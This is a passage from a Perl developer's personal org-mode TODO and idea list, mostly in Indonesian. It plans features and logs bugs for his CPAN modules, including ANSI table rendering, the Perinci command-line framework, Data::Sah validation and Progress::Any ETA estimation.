the table is not wrapped. detect\n    terminal width. tentu saja ada opsi utk no_wrap_data, no_wrap_header.\n  + kita bisa set table width, nanti column width auto adjust. widths bisa dalam\n    %.\n  + autodetect formatting kolom (lihat tentang pretty defaults)\n  + jika ada multiline cell, otomatis warna background row genap-ganjil\n    dibedain, utk membantu visual. kecuali kalo line antar row dihidupkan.\n  + pretty defaults: selain angka rata kanan, juga:\n    - koma desimal diratakan, mis:\n:        1.234\n:      234.5\n:     1234.82\n    - locale, koma desimal dan thousand separators\n    - detect tipe data dari nama kolom (/date|time/ = date,\n      /money|currency|idr|usd/ = money, etc). (ini done di DFPC)\n    - date sesuai locale, bisa detect kira2x perlu '5 Jun 2012' atau '5 Jun 12'\n      atau '5 Jun 2012 23:00' dsb (dari lebar kolom).\n    - some intelligence in column ordering, id duluan, lalu name sebelum value,\n      baru details, baru setelah itu alphabetical.\n  + kerjasama dengan Data::Unixish\n  + shared code with Text::CursesTable (yg ini bisa utk grid juga lho, edit2x\n    kode, tapi ini too much work deh; jangan terlalu luas cakupannya, tujuan\n    utama kita kan utk display data structure, API result, utk editing di\n    ncurses kayaknya ntar aja, lebih fokus ke HTML utk yg itu)\n  + styling lebih mudah dan separated, mirip2x css. inherited styling (mis:\n    style kolom ngikutin table kecuali jika kolom tertentu dioverride stylenya,\n    style sel ngikutin kolom (atau row).\n  + nested table support (sebenernya ini ortogonal sih, kalo kita udah bisa\n    menaruh sembarang string)\n  + flexibility (hooks; bisa nambah subtotal, total, average rows; )\n- fix text::asciitable bugs/weirdness/lacking:\n  + bisa tetap rata jika output karakter unicode/chinese. text::asciitable\n    berantakan, contoh:\n\n: % ls /backup/media/download | dux cat\n  + gak mau ngeprint row jika semua value-nya undef, this is wrong\n\n: perl -MText::ASCIITable -e'\$t=Text::ASCIITable->new; \$t->setCols(\"a\", \"b\"); \$t->addRow(undef, undef); \$t->addRow(undef, undef); print \$t'\n\ntetep gak ada baris yang diprint, kecuali ada value defined di salah satu kolom.\n  + multiline cell (saat ini text::asciitable cheats dengan membuat row2\n    tambahan)\n- some other things, probably wanted:\n  + colspan\n  + rowspan?\n- some other things, gak jadi tujuan saat ini:\n  + set_cell(x, y)\n- some notes:\n  + dengan ansi codes, jadi susah ngitung lebar kolom hanya dengan length(),\n    karena escape codes itu bisa widthnya 0 (gak print apa2x, hanya set color\n    misalnya), bisa juga negatif/positif N (backspace, atau set posisi kursor ke\n    posisi tertentu). jadi utk menggambar table borders atau pindah ke kolom\n    berikutnya, kita harus gunakan ansi escape codes utk set posisi kursor\n    (lihat term::ansiscreen). kita juga harus at least bisa ngitung lebar konten\n    dg mengandung ansi escape codes (mis: \"\\e[1;34mblue\\e[0m\" ini lebarnya cuma\n    4 huruf.\n** TODO [2012-07-17 Tue] DateTime module to parse indo date\n- yang saat ini butuh: Finance::Currency::Convert::KlikBCA\n** TODO [2012-07-17 Tue] DateTime module to format indo date\n- apa gak bisa dengan set locale aja?\n- yang saat ini butuh:\n** TODO [2012-07-17 Tue] js: relatize (jquery plugin utk menampilkan tanggal relatif) versi bahasa indonesia\n** TODO [2012-07-17 Tue] pericmd/dfpc: kolom tabel yang dihide by default di text-pretty format\n- contoh yang bikin terlalu lebar atau terlalu detil isinya, lebih utk\n  debugging. di text-simple tetap ditampilkan.\n- contoh di CPAN::Critic::Module::Abstract outputnya:\n\n: \$ critic-cpan-module-abstract 'Perl extension for blah blah blah'\n: .-----------------------------------------------------------------------.\n: | message                                                    | severity |\n: +------------------------------------------------------------+----------+\n: | Template from h2xs 'Perl extension for blah blah blah'     |        5 |\n: | Language not detected as English, 35% da (confidence 0.21) |        2 |\n: | Saying 'Perl extension for' is redundant, omit it          |        3 |\n: '------------------------------------------------------------+----------.\n\nsebetulnya ada 1 kolom lagi: policy. Sudah cukup jelas kayaknya tanpa policy\njuga, jadi dihide aja.\n\n** TODO [2012-07-16 Mon] dux: apply a la unix pipe (1 process/thread per function)\ncontoh, pada:\n: head | tail | ...\nkita start proses head, lalu tail, lalu inputkan stdin ke head, lalu wait\noutputnya, lalu feed ini sebagai input ke tail, dst.\n\n** TODO [2012-07-14 Sat] PatchSet::*_, contoh PatchSet::LWP::log_request_response (or log_reqres)\n- dalamnya kemas Net::HTTP::Methods::patch::log_request +\n  LWP::UserAgent::log_response dan use berbarengan. biar nyaman disebutkan dalam\n  commandline app daripada satu2x, kepanjangan:\n\n: % TRACE=1 perl -MLog::Any::App -MPatchSet::log_lwp_request_response -MLWP::Simple -e'get \"...\"'\n\n- dengan opsi yang sama? (mis -on_unknown_version=>'force', ..)?\n** TODO [2012-07-14 Sat] kerjasama antara Net::HTTP::Methods::patch::log_request + LWP::UserAgent::log_response to mark requests with some unique ID\n** TODO [2012-07-14 Sat] LWP::UserAgent::patch::log_response - option to log/dump full responses (to dir, ideally)\n** TODO [2012-07-13 Fri] Data::Unixish::CmdLine\n- convert a dux function to a command line program, accepting input in stdin,\noutput to stdout, ...\n- uses Perinci::CmdLine\n** TODO [2012-07-11 Wed] pericmd: add --format-opts to pass to Data::Format::Pretty\n- to be passed to Data::Format::Pretty module. for example:\n: --format=json --format-opts '{\"pretty\":1}' # (parsed as json)\n: --format=json --format-opts 'pretty=1 blah=2, x=foo' # (if json fails, parsed as simple k=v ...\n: --format=text-pretty --format-opts '{\"color\":1, \"header_color\":\"red\", \"row_color\":\"white on_blue\"}'\n** IDEA [2012-07-13 Fri] dfp::html: sertakan widget js untuk ganti format date (utk kolom yang ditandai date)\n** IDEA [2012-07-04 Wed] perisgen-acctbl: operasi antartable/filtering\n- theme: leverage table (a basic, simple, but powerful data form)\n- example: provide virtual columns\n- join?\n** IDEA [2012-07-04 Wed] perisgen-acctbl: metadata/\"css\" for table\n- theme: leverage table (a basic, simple, but powerful data form)\n- table spec udah mendefinisikan\n- utk tampilan bisa ditambah some more visual clues, e.g. lebar kolom, perataan kiri/kanan, borders, colors, ...\n- udah ke arah form/grid (borang)\n** IDEA [2012-07-04 Wed] pericmd: output/export table xls/csv/sql/...\n- theme: leverage table (a basic, simple, but powerful data form)\n- ingat tutorial yg pernah gw buat utk export some table data ke xls utk spanel\n  1.3.15, so painful, perlu pake campuran skrip bash, copy paste, permainan di\n  librecalc, ... harusnya bisa lebih mudah kita sediakan operasi tabel untuk\n  users.\n** IDEA [2012-07-04 Wed] pericmd: provide total, subtotal, grouping\n- theme: leverage table (a basic, simple, but powerful data form)\n** IDEA [2012-07-04 Wed] pericmd: utilities for graph data\n- selain tabel, graph juga salah satu powerful data form, leverage it\n** IDEA [2012-07-04 Wed] pericmd: utilities for hash & array data\n- selain tabel, hash dan array juga salah satu basic and powerful data form, leverage it\n- really, what i want is blur/seamless handling of tabular data using\n  function/perl data type, text utilities (grep, awk, ), json/yaml, manipulation\n  via programming language/CLI/db (sql), ...\n** BUG [2012-06-26 Tue] pericmd: parsing greedy args\n: args' spec: {schema => ['array*' => {of=>'str*'}], pos=>0, greedy=>1}\n: cmdline: cmd 1 2 3\nseharusnya untuk tiap arg, tidak ada parsing yaml karena tiap arg adalah str*,\nbukan array. tapi saat ini yaml diparsing:\n\n: cmdline: cmd 1 '{}' 3\n\nhasilnya arg menjadi: [1, {}, 3] dan bukan [1, '{}', 3]\n** TODO [2013-10-24 Thu] riap, pericmd, periga-argv: encoding binary data in json\n- riap http:\n  - header X-riap-jb- & -riap-j- artinya JSON + base64 encoding.\n  - GET/POST param: arg:jb=TWFuIGlzIGRpc3Rpbmd1aXNoZWQsIG5vdCBvbmx5IGJ5I...\n  - tapi bagaimana jika salah satu args ada yang ingin binary?\n    x-riap-args-j-: {\"foo\":1,\"bindata:b\":\"TWFuIGlzIGRpc3Rpbmd1aXNoZWQsIG5vdCBvbmx5IGJ5I...\"}\n  - perlu cek dulu apakah \":b\" bisa dipake? atau prefiks aja?\n- riap simple:\n- pericmd/periga-argv:\n- tetap bermasalah jika kita ingin mengirimkan binary data tapi bagian dari data\n  structure, mis: array/hash of icons.\n- atau konvensi aja, semua binary data di json harus base64, nanti saat decode\n  dari json baru convert lagi (yang berarti harus liat schema). untuk simplenya,\n  bisa dibuat dulu hanya purely binary data (buf*) yang diconvert.\n- cara paling simpelnya saat ini adalah dg avoid JSON aja. periga-argv (pericmd)\n  bisa pake yaml, riap::http juga bisa. yg ga bisa adalah riap::simple (hanya\n  json). utk spanel, ga terlalu jadi concern.\n** IDEA [2013-10-17 Kam] riap: add command: search\n- full text, can search against function & package names, urls, inside function\n  metadata, etc\n- args: type (mencari tipe code entity tertentu)\n- contoh hasil:\n: [\n:   {\n:     uri => \"/blah/func1\",\n:     snippet => \"...This function can `grep` from the password database...\",\n:   },\n:   ...\n: ]\n** WISHLIST [2013-10-15 Sel] pericmd: syntax highlighting bash for src examples\n- contoh, see output of list-my-repos --help\n** TODO [2013-10-15 Sel] peris2pod: show src examples yang perl (ri 1.1.39)\n** TODO [2013-10-15 Sel] peris2pod: option to show examples in synopsis semua or per-argument\n** TODO [2013-10-15 Sel] pericmd: option to categorize examples per-arg in --help --verbose\n** TODO [2013-10-15 Sel] ri: per-arg examples? [#C]\n- if we want to be more example-oriented, this is probably a good idea. user\n  bisa melihat contoh yang relevan aja yg berkaitan dengan arg tsb. apalagi jika\n  fungsinya kompleks dengan banyak argumen. tapi, sebetulnya bisa aja sih\n  digabung di function-level examples, kita bisa filter kok hanya memperlihatkan\n  example yg mention a certain argument.\n- bisa juga kita terapkan begini di pericmd: untuk --help (short help), kita\n  tampilkan semua examples di satu section Examples. di --help --verbose\n  (verbose help) kita bisa tampilkan example di tiap arg.\n- jadi, saat ini gw cenderung tetap tidak menambah spec Rinci, examples cukup\n  satu property aja, kita bisa pilah2x sendiri saat menampilkannya.\n** TODO [2013-10-15 Sel] dsah: bool: handle JSON::{PP,XS}::Boolean objects [#C]\n- either create a special plugin to convert the object to 1/0 prior to\n  validating, or don't assume bool is always !ref(\$data)?\n- sekarang sih gak usah dulu, gw cuma butuh di periga-argv dan periahs aja yang\n  menerima json dari external lalu pass them to functions.\n** BUG [2013-10-10 Thu] dux-app: undef warning saat 'push \@\$out, \$data' jika dux func dipipe outputnya\n: Use of uninitialized value in push at /home/s1/perl5/perlbrew/perls/perl-5.10.1/lib/site_perl/5.10.1/Data/Unixish/sum.pm line 33.\nterjadi kalo dipipe outputnya, mis:\n\n: cmd ... | dux sum        ; # -> gak keluar warning\n: cmd ... | dux sum | blah ; # -> keluar warning\n\nbelum ada clue jelas, tapi \$args{out} berupa tied array. gw coba\nData::Dump::dump(), gak undef kok.\n** TODO [2013-10-09 Rab] riap-app: wildcard?\n** WISHLIST [2013-10-09 Wed] riap-app: per-server settings? [#C]\n** TODO [2013-10-02 Wed] periswrap: localize message strings\n- sekalian add opsi utk generate static message strings, or translatable ones.\n** TODO [2013-10-02 Wed] dsah: opsi utk generate translatable message strings instead of static strings, where we need to regenerate wrapper code just to change language\ncontoh, instead of:\n: ...\n:   24|        # check arguments\n:   25|        for (keys %args) {\n:   26|            if (!/\\A(-?)\\w+(\\.\\w+)*\\z/o) {\n:   27|                \$res = [400, \"Invalid argument name '\$_'\"];\n:   28|                goto RETURN_RES;\n:   29|            }\n:   30|            if (!(\$1 || \$_ ~~ ['array','round'])) {\n:   31|                \$res = [400, \"Unknown argument '\$_'\"];\n:   32|                goto RETURN_RES;\n:   33|            }\n:   34|        }\n:   35|        if (exists(\$args{'array'})) {\n:   36|            my \$err_array;\n:   37|                # req #0\n:   38|                ((defined(\$args{'array'})) ? 1 : ((\$err_array //= (\@\$_sahv_dpath ? '\@'.join(\"/\",\@\$_sahv_dpath).\": \" : \"\") . \"Required input not specified\"),0))\n:     |\n: ...\nwe generate this instead:\n: ...\n:   24|        # check arguments\n:   25|        for (keys %args) {\n:   26|            if (!/\\A(-?)\\w+(\\.\\w+)*\\z/o) {\n:   27|                \$res = [400, _loc(\"Invalid argument name '%s'\", \$_)];\n:   28|                goto RETURN_RES;\n:   29|            }\n:   30|            if (!(\$1 || \$_ ~~ ['array','round'])) {\n:   31|                \$res = [400, _loc(\"Unknown argument '%s'\", \$_)];\n:   32|                goto RETURN_RES;\n:   33|            }\n:   34|        }\n:   35|        if (exists(\$args{'array'})) {\n:   36|            my \$err_array;\n:   37|                # req #0\n:   38|                ((defined(\$args{'array'})) ? 1 : ((\$err_array //= (\@\$_sahv_dpath ? '\@'.join(\"/\",\@\$_sahv_dpath).\": \" : \"\") . _loc(\"Required input not specified\")),0))\n:     |\n: ...\n** BUG [2013-09-11 Wed] pericmd: win32: remaining issues: laa (fwr?) belum jalan (bikin app ngehang)\n- kemungkinan karena file locking issue\n- terjadi jika kita ingin --debug atau --trace\n** BUG [2013-09-11 Wed] pericmd, riap-app win32: ganti \$ENV{HOME} jadi pake File::HomeDir\n- [DONE] pericmd sendiri ada pake 1, utk nentuin lokasi undo_dir\n- [DONE] laa (udah dari dulu)\n- app-riap\n\noptional:\n- peritm\n\nother:\n- Org::Parser?\n- File::trash::freedesktop\n- cpanlists\n- ledgerp\n- config::tree\n** IDEA [2013-09-10 Sel] perirf: opsi utk show json dengan comment yg indicate array & hash pair index (+level with dots), like Data::Dump::Color 0.07+\nhanya utk interaktif dan color, utk mempermudah viewing.\n** TODO [2013-09-11 Rab] riap-app: make app-riap work under windows\n- biar convenient aja users (mis: gudangapi, gudangdata) browse api lewat cli,\n  walau users windows will probably do it via web interface\n** IDEA [2013-09-11 Rab] riap-app: bikin gui on win (or linux too)\n- dengan tree widget and stuffs, enak ngebrowse API\n** IDEA [2013-09-09 Mon] Test::Gen::Rinci (?)\n- generate test function test_foo()\n- fungsi2x yang ngikutin rinci soalnya mirip2x, kita ngetes status, result\n- generate_test_func(name => 'test_foo') hasilyna test_foo() yang bisa kita\n  pakai di test scripts, mis: test_foo(args=>{...}); # by default status=200.\n  lalu bisa ngecek dies atau gak.\n- tamabhan: ngecek saat wrap atau gak.\n** TODO [2013-09-06 Fri] [#C] periass: deconfuse_php_clients juga seperti di periahs\n- saat ini periass itu bener2x simple, cuma read request dari cmdline atau\n  soket, lalu feed ke program atau fungsi perl. gak ada request meta dulu utk\n  tau daftar argumen agar bisa memberi hint. yang diperlukan (dan udah\n  diimplementasi) adalah di periahs aja saat ini. spanel hanya pake periahs saat\n  ini. periass gak tau mau dipake di mana, hanya utk internal stuffs aja saat\n  ini.\n** WISHLIST [2013-09-06 Fri] [#C] fwr: opsi utk clean juga direktori, regardless of our app's log size\ncontoh: /var/log/spanel diisi oleh log banyak aplikasi (mis: ada 50 aplikasi),\nmasing2x aplikasi settingnya 25 history x 10MB (+- 2MB compressed x 24 + 10 =\n58MB) x 50 aplikasi = 2.5GB. kalo aplikasi 100, 5GB. pengen ada opsi someday\njika aplikasi terlalu banyak, utk clean direktori mis maksimum 1GB aja.\n** IDEA [2013-09-04 Wed] [#C] periai: action list: opsi recursive=1\n- ini berpotensi berat, kita bisa enable hanya jika type=package disebutkan, in\n  which case kita tinggal tambahkan recurse=>1 pada list_modules(). tapi jika\n  kita harus recurse other types too maka kita harus load setiap modul.\n** IDEA [2013-09-03 Tue] ri: specify metadata dalam bentuk grammar yg lebih manusiawi, seperti \"bnf\" atau docopt\ncontoh dalam python:\n\n: def somefunc(...):\n:    \"\"\"\n:    Do some stuff.\n:\n:    args:\n:      - foo (str*): some summary blah\n:      - bar (str*): some summary blah\n:      - baz (array*[str*]): blah blah blah\n:\n:    Returns (str*): blah\n:    \"\"\"\n\ngw gak terlalu suka ya. readable sih iya, pretty juga. tapi limited. dan yet\nanother limited language. i prefer writing directly in data structure. tetep\nreadable kok.\n\nsebagai perbandingan, ini docopt (dari manpage modul perl Docopt):\n\n: Naval Fate.\n:\n: Usage:\n:     naval_fate ship new <name>...\n:     naval_fate ship <name> move <x> <y> [--speed=<kn>]\n:     naval_fate ship shoot <x> <y>\n:     naval_fate mine (set|remove) <x> <y> [--moored|--drifting]\n:     naval_fate -h | --help\n:     naval_fate --version\n:\n: Options:\n:     -h --help     Show this screen.\n:     --version     Show version.\n:     --speed=<kn>  Speed in knots [default: 10].\n:     --moored      Moored (anchored) mine.\n:     --drifting    Drifting mine.\n\n** IDEA [2013-08-27 Tue] add images to POD\n- Progress::Any\n- *::Color (JSON::Color, Data::Dump::Color, YAML::Tiny::Color, Carp::Always::Color)\n- Color::ANSI::Util\n** IDEA [2013-08-27 Tue] add screencasts to POD\n** TODO calidhol: update Calendar::Indonesia::Holiday  <2015-07-31 Jum +1y>\n- [2012-06-26 Tue] diubah todo-nya jadi juli, katanya keluarnya juli.\n- [2012-08-04 Sat] update data 2013 (ketetapan pemerintah 19 jul).\n- [2013-08-27 Tue] update data 2014 (sebelumnya udah gw buat tentatif pas jul, ketetapan pemerintah 21 agu)\n- [2014-08-06 Rab] update data 2015 (SKB 7 mei)\n** IDEA [2013-08-27 Tue] [#C] ansitable: beri ilustrasi html/image pada tiap setting, agar jelas maksudnya spt apa\n** IDEA [2013-08-17 Sab] orgutils: (list-org-todos): reminder dengan kondisi tertentu (mis: stok obat papa mau abis)\n- contoh (remmod=reminder module):\n: * TODO refill obat papa   :remmod_obat:\n: - stok irbesartan :: 20\n: - stok coralan :: 5\n: - stok coralan ::\n: * TODO refill piracetam\n: - note: harga Rp xxx/tablet di apotik andir, Rp xxx di apotik eureka, biasanya suka abis kalo di apotik eureka\ndi mana nanti ada App::ListOrgTodos::Reminder::obat di mana ada fungsi\nremind(\$headline_object) yang return true jika ada field /^stok .+/ yang\nnilainya numerik di bawah 10.\n\n- atau (directly embed perl code in the org document), mis:\n: * TODO refill obat papa   :remmod_obat:\n: - :remind (code translation) :: ada children berupa list dan ada description list yg desc_term nya /^stoc?k .+/ dan nilainya numerik di bawah 10, return \"stok X < 10\"\n: - :remind :: grep { \$_-> }\n: - stok irbesartan :: 20\n: - stok coralan :: 5\n: - stok coralan ::\n\n** TODO [2013-08-11 Min] [#C] refactor Perinci::BashComplete, ada banyak yang gak spesifik perinci sebetulnya\nCompletion::* ?\n** IDEA [2013-08-09 Jum] [#C] Term::Shell: create plugins (ekstrak dari App::riap)\n- Term::Shell::Enhanced banyak goodies tapi nyampur, kita bisa bikin tiap fitur ditaruh dalam plugin masing2x, mis:\n  Term::Shell::{Plugin,Extra}::HistoryFile, etc.\n- nanti aja kalo gw perlu buat sesuatu lain yang pake Term::Shell.\n** BUG [2013-08-07 Wed] ledgerp: gagal mengenali commodity (CT report)\n- karena belum compliant sih, harus reimplement yg lebih bener, plus gw mau\n  ganti jadi line-based dan handwritten biar lebih cepet. dan gak perlu\n  array-based karena gak terlalu save memory.\n** IDEA [2013-08-07 Wed] perl module: bca: daftar atm (daftarnya ada di situs bca, seperti daftar cabang)  :blogged:\n- [2013-10-26 Sab] mentoned on my blog\n** IDEA [2013-07-26 Fri] dc-json: integrate clone_circular_refs\n- sempet mo nyoba dengan dimasukin inline, tapi agak ribet. coba aja nanti\n  langsung manggil SHARYANTO::Data::Util::clone_circular_refs().\n** IDEA [2013-07-20 Sat] progany: kita bisa predeclare/set estimation times\n- contoh, ada 3 subtasks: downloading packages + installing packages + restart.\n  diperkirakan umumnya downloading = 10-120 menit (tergantung kecepatan\n  donwload), sementara instal sekitar 60-120 menit (tergantung kecepatan\n  komputer) + restart sekitar 1-3 menit.\n\n  saat kita di subtask 1, ETA berubah2x sesuai kecepatan download actual, mis:\n  dari 15 menit lalu berubah jadi 30 menit jika melambat speednya, dst. tapi\n  total ETA = (15 or 30 menit) + 90 menit (ETA yg udah kita set untuk subtask\n  instalasi) + 2 menit (ETA yang udah kita set untuk subtask restart.\n\n  setelah subtask 1 kelar, maka ETA tinggal ditentukan dari kecepatan instalasi\n  aktual saat itu, bsia dari 90 menit adi 75 menit atau 115 menit dsb tergantung\n  kecepatan komputer saat menginstal.\n- api draft:\n\njadi selain target() dan pos(), tiap indicator juga punya eta() yang bisa diset\nduluan. nanti setiap kali update(), eta akan otomatis diadjust. ada opsi di\nupdate() utk tidak recalculate eta.\n\n: my \$prog_dl = Progress::Any->get_indicator('download');\n: \$prog_dl->target(77); # there are 77 packages to download\n: \$prog_dl->eta(65*60); # perkiraan awal adalah 65 menit\n:\n: my \$prog_inst = Progress::Any->get_indicator('install');\n: # \$prog_inst->target(77); # opt, eta tetap bisa dicalculate tanpa target defined\n: \$prog_inst->eta(90*60); # perkiraan awal\n:\n: my \$prog_restart = Progress::Any->get_indicator('restart');\n: \$prog_inst->eta(120); # perkiraan awal\n\njadi, di awal2x saat menampilkan progress bar, kita sudah bisa menampilkan eta =\n65+90+2 = 157 menit. setelah itu:\n\n: for my \$pkg (\@pkgs) {\n:     download(\$pkg);\n:     \$prog_dl->update(\"Downloaded \$pkg\");\n: }\n\neta task download akan teradjust sesuai actual speed, sementara 2 subtask\nlainnya masih konsten di 90 menit dan 2 menit.\n\n** IDEA [2013-07-17 Wed] periai: another version of periai which is optimized for calling only\n- periai now has call performance of around 5-10k/s, which is very slow if\n  compared to normal call. there will sometimes be a need for a 100k+/s\n  performance.\n** TODO [2013-07-15 Mon] ri: wrapper or type: tipe integer for number of seconds (time period)\ndi periwrap convert string seperti '1 day' atau '2.5 day' menjadi seconds.\n\ntapi bagaimana dg month? sebetulnya tidak persis sama lho.\n\natau ada pilihan utk diconvert ke real period kayak DateTime. tergantung\nfungsinya pengen apa.\n\nsome helper for completion? misalnya normal range adalah 1000-2000s, maka kalo\nada 1<tab> pilihannya lebih ke hour/day (gak ada pilihan decade atau\nyear/century misalnya).\n** TODO [2013-07-15 Mon] ri: wrapper or type: tipe unix time (sub dari int)\nbisa convert '2013-12-31' atau 'dec 31, 2013' jadi epoch.\n\nada pilihan utk convert ke unix epoch atau DateTime object.\n\nsome helper utk completion.\n** TODO [2013-07-15 Mon] ri: wrapper or helper: unit utk ukuran\nmis: int/float bisa ditambah k/KB/m/MB/...\n\nfungsi menerima hasilnya dalam bentuk sudah bytes.\n\nada juga originalnya dipass dalam special variables.\n** IDEA [2013-07-13 Sat] Data::Dump filter to let us customize\n- pengen urutan key-nya diatur\n- contohnya gw pengen convert %api_spec -> %SPEC atau menampilkan %SPEC sbb:\n  + pertama v, summary, description (pengen pake heredoc). kalo ada schema.\n    diikuti req baru pos. terakhir pengen examples dan tags.\n  + urutan argument, disort pake key pos\n** IDEA [2013-03-02 Sat] perl module: App::popstatus                :blogged:\n- inspired by TOKUHIROM's App::httpstatus\n- [2013-10-26 Sab] mentioned on my blog\n** IDEA [2013-03-02 Sat] perl module: App::imapstatus               :blogged:\n- inspired by TOKUHIROM's App::httpstatus\n- bisa search mana yg specific imapd tertentu spt dovecot, ...\n- [2013-10-26 Sab] mentioned on my blog\n** TODO [2013-01-30 Wed] dsah: js: tambah implementasi Object.keys untuk yg belum support ECMAScript 5 (mis: IE8 ke bawah, opera < 12)\n- boy, javascript sucks.\n** TODO [2013-01-30 Wed] dsah: js: tambah implementasi Array.prototype.{indexOf,every} di kode jika utk client/IE (gak punya array.prototype.indexOf)\n- boy, javascript sucks.\n** IDEA [2013-01-17 Thu] dsah: from schema, generate code other than validator\ne.g. data compliance measurer, data transformer, or whatever.\n** TODO [2013-01-12 Sat] progany: POD: synopsis: perjelas bagaimana split progress updating and output\n** TODO [2012-12-19 Wed] procgov: cpuwatch\n** TODO [2012-12-19 Wed] procgov: ionice\n** IDEA [2013-01-10 Thu] sah: sah as base for ORM?\nat least clauses-nya bisa untuk where clause.\n** TODO [2013-04-03 Wed] deprecate Time::Duration::Patch::Millisecond (and adjust Time::Duration::id) jika new Time::Duration yg udah include patch millisecond sudah dirilis [#C]\n** TODO [2013-04-12 Fri] unx: intraprocess piping?\n- utk interprocess gak masalah, model begini udah bisa: dux func1 | dux func2\n- tapi utk intraprocess, tiap dux function harus melakukan yield/nonblocking IO\n  instead of while(... = each(\@in)) { push \@out, ...}\n- tapi gak terlalu penting kayaknya? karena yang bisa berlaku secara general\n  adalah interproccess. kecuali semua mau non-blocking.\n** TODO [2013-04-18 Thu] procgov: option to log stdout\n** TODO [2013-04-18 Thu] procgov: option not to use FWR for stdout/stderr logging? (faster, but unsafe, but doesn't matter if only single instance)\n** TODO [2013-04-18 Thu] procgov: option to run N copies of child (loadwatch has this option, -n)\n** TODO [2013-04-18 Thu] procgov: option to create unix socket or whatever to let us interactively control stop/start (loadwatch has this option, lw-ctl is the program to do that)\n- procgov should have more options instead of just RUN, STOP, WATCH. at the very\n  least it should also have KILL. also SET_LOW_LIMIT and SET_HIGH_LIMIT to tune\n  the load settings. then also RESTART? turn SINGLE on/off.\n** TODO [2013-04-18 Thu] procgov: set nice level\n** TODO [2013-04-25 Thu] tautil: recognize multiple color codes in a single ANSI escape sequence [#C]\n: e.g.: \\e[31;47;1;7m\nsaat ini efeknya hanyalah, library gak mengenali kode reset seperti \\e[1;0m,\nhanya \\e[0m. tapi gpp dululah, harusnya langka hal seperti ini.\n** TODO [2013-05-01 Wed] fbbca: (atau semua yang networking): autoretry\n- klikbca kadang2x kalo lagi sibuk/randomly (tapi jarang, misalnya siang) suka connection reset:\n\n: mech request #1 failed: die: Error GETing https://ibank.klikbca.com: Status read\n: failed: Connection reset by peer at\n: /home/s1/perl5/lib/perl5/Finance/Bank/ID/Base.pm line 86.\n\natau:\n\n: mech request #6 failed: die: Error GETing\n: https://ibank.klikbca.com/authentication.do?value(actions)=logout: Can't connect\n: to ibank.klikbca.com:443 at /home/s1/perl5/lib/perl5/Finance/Bank/ID/Base.pm\n: line 86.\n\ntapi kalo error2x yang sudah pasti, jangan diretry karena percuma:\n\n: mech request #2 failed: check error: Anda dapat melakukan login kembali setelah\n: 10 menit / You can re-login after 10 minutes.\n\n** TODO [2013-05-03 Fri] ansitable: set table width in % (of terminal width), then column width by defaults are set proportionally [#C]\n** TODO [2013-05-03 Fri] ansitable: set column width in % (of table width) [#C]\n** TODO [2013-05-03 Fri] ansitable: non-OO function draw_ansi_table(rows=>..., columns=>..., column_align=>..., per_column_styles=>..., per_row_styles=>, per_cell_styles=>..., )\n- cuma membuat \$t = Text::ANSITable->new, lalu mengeset berbagai atribut (utk\n  per_column_styles, panggil set_column_style(), ...) lalu call \$t->draw.\n** TODO [2013-05-04 Sat] pnumen, pnumid: parse fractions & percentages [#C]\nnice to have..\n\n: % spanel set-disk-space-warning-threshold 80%\n: % foo --width 80% --height 10; # ditempelin ke Perinci-Sub-GetArgs-Argv\n\n** TODO [2013-05-04 Sat] pnumen, pnumid: parse SI units? (e.g. 10k) [#C]\n** TODO [2013-05-04 Sat] pnumen, pnumid: parse give extra information\n- beri informasi metadata tambahan 80% -> [0.8, -1] (-1 artinya percentage,\n  kadang2x percentage bisa berarti khusus dan berbeda dibanding jika user\n  specify 1.2 (vs 120%)). demikian juga jika fraction, scientific?, ...)\n** TODO [2013-05-11 Sat] progany-tpc: support multiple bars (dengan selalu clean up our own output)\n** TODO [2013-05-12 Sun] progany-tpc: background updating\n** TODO [2013-05-12 Sun] progany-tpc: animations\n** TODO [2013-05-17 Fri] bca: daftar cabang tidak lengkap, lengkapi dari http://heince.wordpress.com/2010/07/02/kode-dan-nama-kantor-cabang-bca/\ncontoh: 5035 (wisma mulia gatsu jkt), 5060, dll gak ada.\n** TODO [2013-05-23 Thu] progany: antara moving 5 average dan averaging total, diaverage lagi kali ya, supaya lebih smooth ETA-nya, kalo sekarang kurang mulus\n** TODO [2013-05-11 Sat] tpc: support multiple bars (dengan selalu clean up our own output)\n** TODO [2013-05-12 Sun] tpc: background updating\n** TODO [2013-05-12 Sun] tpc: animations\n** TODO [2013-05-17 Fri] bca: daftar cabang tidak lengkap, lengkapi dari http://heince.wordpress.com/2010/07/02/kode-dan-nama-kantor-cabang-bca/\ncontoh: 5035 (wisma mulia gatsu jkt), 5060, dll gak ada.\n** IDEA [2013-06-03 Mon] gb: show which repos which haven't been pushed (from App::GitGot)\n** TODO sah, bor: apakah bakal ribet nanti bikin form field seperti daftar negara, daftar propinsi, field select yang daftar pilihannya dari database/sql/array?\npastikan kita bisa menghandle common case ini dengan baik. easy things should be\neasy. common things should also be easy.\n: country => {\n:   schema => [str, {\n:     len => 2,\n:     'in=' => 'array_from_sql(...)', # gak transparan, SQL di-expose ke rinci metadata?!\n:   }]\n: }\n\n: country => {\n:   schema => [str, {\n:     len => 2,\n:     'in=' => '', #\n:   }]\n: }\n\nit's server-side and should not be exposed at all? stripped by periwrap?\n** TODO dsah: format_ccls: array of ccl: sort list di belakang\n** TODO dsah: human: markdown\n** TODO dsah: implement def/subschema\n** TODO dsah: human: saat find base type, gak usah merge semua clauses\nmis:\n: [pos_int, div_by=>2]\ngak perlu ditranslate jadi:\n: [int, min=>0, div_by=>2] # => \"integer, at least 0, divisible by 2\"\nmelainkan cukup:\n: # => \"positive integer, divisible by 2\"\nkecuali jika pos_int gak punya name. pos_int yang punya name itu sbb:\n: [int, min=>0, name=>[\"positive integer\", \"positive integers\"], \"name(id_ID)\"=>\"biangan bluat positif\"]\n** TODO dsah: human: use base schema's name (or name.alt.lang.XX) e.g.\n: pos_int: [int, {name=>[\"positive integer\", \"positive integers\"], min=>0}]\n: schema: [pos_int, div_by=>2] -> \"positive integer, must be divisible by 2\" (gak diterjemahin lagi jadi \"integer, must be at least 0, must be divisible by 2\")\n** TODO dsah: expression: variabel \$_ (= data term) dulu aja\n** TODO dsah: create Compiler Perlish and move common stuffs there\n** TODO dsah: write js compiler\n  - note: js juga ada lexical dengan let, tinggal { let a=1; ... { let a=2; ...\n    } }\n  - padanan do { ... } di js? (i'm thinking (function() { let x=... })(), but\n    maybe there's another alternative? di js juga bisa { ... { ... } ... }\n    ternyata.\n  - demo: form + jquery + jquery validation (+ bootstrap for prettiness)\n** TODO dsah: prefilters (mis: utk convert timestamp unix ke datetime sblm diproses)\n** TODO sah: datetime (utk form processing)\n** TODO 